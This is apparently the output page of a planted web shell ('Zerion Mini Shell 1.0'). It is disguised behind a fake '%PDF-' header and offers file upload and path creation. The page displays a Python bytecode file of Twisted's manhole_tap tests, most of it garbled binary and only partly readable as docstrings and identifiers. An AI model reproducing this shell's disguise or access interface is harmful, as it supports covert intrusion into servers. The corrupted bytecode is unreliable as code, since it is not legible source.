%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/conch/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/conch/test/__pycache__/test_manhole_tap.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZed
�ZerddlmZmZGd�d
e�Zy)z)
Tests for L{twisted.conch.manhole_tap}.
�)�StreamServerEndpointService)�MultiService)�telnet)�error)�UsernamePassword)�usage)�
requireModule)�TestCase�cryptography)�manhole_ssh�manhole_tapc�D�eZdZdZesdZdZd
d�Zd
d�Zd
d�Z	d
d�Z
d
d	�Zy)�MakeServiceTestsz/
    Tests for L{manhole_tap.makeService}.
    zcan't run without cryptography)siamusersthisispasswordNc�
�|j�|_t|jd�5}|jdj	|j
��ddd�t
j�|_y#1swY�#xYw)z8
        Create a passwd-like file with a user.
        �wb�:N)	�mktemp�filename�open�write�join�usernamePasswordr
�Options�options)�self�fs  �E/usr/lib/python3/dist-packages/twisted/conch/test/test_manhole_tap.py�setUpzMakeServiceTests.setUp!sa�����
��
�
�$�-�-��
&�	6�!�
�G�G�D�I�I�d�3�3�4�5�	6�"�*�*�,���	6�	6�s�+A9�9Bc��|jtj�5}tj�jg�ddd�|j
jjdd�y#1swY�3xYw)zk
        L{manhole_tap.makeService} requires either 'telnetPort' or 'sshPort' to
        be given.
        Nrz<At least one of --telnetPort and --sshPort must be specified)	�assertRaisesr�
UsageErrorr
r�parseOptions�assertEqual�	exception�args)r�es  r�test_requiresPortz"MakeServiceTests.test_requiresPort*sk��
�
�
�u�/�/�
0�	3�A����!�.�.�r�2�	3�	
���
�K�K���Q��
N�	
�	3�	3�s�$A6�6A?c� �|jjddg�tj|j�}|j	|t
�|j
t|j�d�|j	|jdt�|j	|jdjjtj�|j
|jdjjd�y)z�
        L{manhole_tap.makeService} will make a telnet service on the port
        defined by C{--telnetPort}. It will not make a SSH service.
        �--telnetPortztcp:222�r��N)rr"r
�makeService�assertIsInstancerr#�len�servicesr�factory�protocol�makeTelnetProtocol�endpoint�_port�r�services  r�test_telnetPortz MakeServiceTests.test_telnetPort7s���
	
���!�!�>�9�"=�>��)�)�$�,�,�7�����g�|�4�����W�-�-�.��2����g�.�.�q�1�3N�O�������Q��'�'�0�0�+�2P�2P�	
�	
����)�)�!�,�5�5�;�;�S�A�c�0�|jjd|j�ddddg�tj|j�}|j|t�|jt|j�d�|j|jdt�|j|jdjtj�|j|jdjjd�y	)
z�
        L{manhole_tap.makeService} will make a SSH service on the port
        defined by C{--sshPort}. It will not make a telnet service.
        z--sshKeyDirz--sshKeySize�1024z	--sshPortztcp:223r*r��N)rr"rr
r,r-rr#r.r/rr0r�ConchFactoryr3r4r5s  r�test_sshPortzMakeServiceTests.test_sshPortFs���	
���!�!�����
�����

�		
��)�)�$�,�,�7�����g�|�4�����W�-�-�.��2����g�.�.�q�1�3N�O����g�.�.�q�1�9�9�;�;S�;S�T�����)�)�!�,�5�5�;�;�S�Ar8c
��|jjddd|jg�tj|j�}|j
djjj}|jt|jj��d�|j|j|jt!|j"�dt$j&���|j)|j+|jt!dd�dt$j&��j,t.j0�y)	zS
        The C{--passwd} command-line option will load a passwd-like file.
        r)ztcp:22z--passwdr�Nswrongsuser)rr"rr
r,r/r0r1�portalr#r.�checkers�keys�
assertTrue�successResultOf�loginrrr�ITelnetProtocolr-�failureResultOf�valuer�UnauthorizedLogin)rr6r@s   r�test_passwdzMakeServiceTests.test_passwd_s��	
���!�!�>�8�Z����"W�X��)�)�$�,�,�7���!�!�!�$�,�,�5�5�<�<������V�_�_�1�1�3�4�a�8�	
���� � ����$�d�&;�&;�<���*�*��
�	
�	
���� � ����$�X�w�7��v�?U�?U��
��e��#�#�
	
r8)�returnN)�__name__�
__module__�__qualname__�__doc__r�skiprrr'r7r=rJ�r8rrrs2����/��6��-�
�
B�B�2
r8rN)rO�twisted.application.internetr�twisted.application.servicer�
twisted.conchr�twisted.credr�twisted.cred.credentialsr�twisted.pythonr�twisted.python.reflectr	�twisted.trial.unittestr
rrr
rrQr8r�<module>rZsC���E�4� ��5� �0�+��^�,���6�c
�x�c
r8

Zerion Mini Shell 1.0